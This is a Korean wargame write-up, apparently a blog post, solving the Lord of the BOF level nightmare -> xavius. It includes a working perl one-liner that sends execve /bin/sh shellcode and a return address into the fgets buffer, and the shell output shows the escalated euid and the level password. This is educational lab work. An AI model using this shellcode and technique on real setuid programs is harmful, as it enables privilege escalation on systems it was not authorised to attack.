LEVEL19 (nightmare -> xavius) : fgets + destroyers
이번 문제는 fgets함수와 스택 디스트로이어 있다. 소스를 보자
stack도 안되고 rtl, LD_ 등등의 방법이 통하지 않는다.
이때 fgets는 특별한 저장 영역인 0x40015000에 해당 문자열을 저장하게 된다.
하지만 \x00은 null로 인식하므로 \x01로 주소를 맞추고 쉘코드를 실행하면 될 것이다.
이번 문제는 fgets함수와 스택 디스트로이어 있다. 소스를 보자
[nightmare@localhost nightmare]$ cat xavius.c /* The Lord of the BOF : The Fellowship of the BOF - xavius - arg */ #include |
stack도 안되고 rtl, LD_ 등등의 방법이 통하지 않는다.
이때 fgets는 특별한 저장 영역인 0x40015000에 해당 문자열을 저장하게 된다.
하지만 \x00은 null로 인식하므로 \x01로 주소를 맞추고 쉘코드를 실행하면 될 것이다.
[nightmare@localhost nightmare]$ (perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x01\x50\x01\x40"';cat)|./xavius 릱릱릱릱릱릱릱릱릱릱1픐h//shh/bin됥PS됣솻 ?P@ id;my-pass uid=518(nightmare) gid=518(nightmare) euid=519(xavius) egid=519(xavius) groups=518(nightmare) euid = 519 throw me away |
'MyStudy > BOF원정대' 카테고리의 다른 글
hackerschool bof 원정대 darkknight-> bugbear (0) | 2012.01.24 |
---|---|
hackerschool bof 원정대 bugbear -> giant (0) | 2012.01.19 |
hackerschool bof 원정대 vampire -> skeleton (0) | 2012.01.19 |
hackerschool bof 원정대 troll -> vampire (0) | 2012.01.19 |
hackerschool bof 원정대 orge -> troll (0) | 2012.01.19 |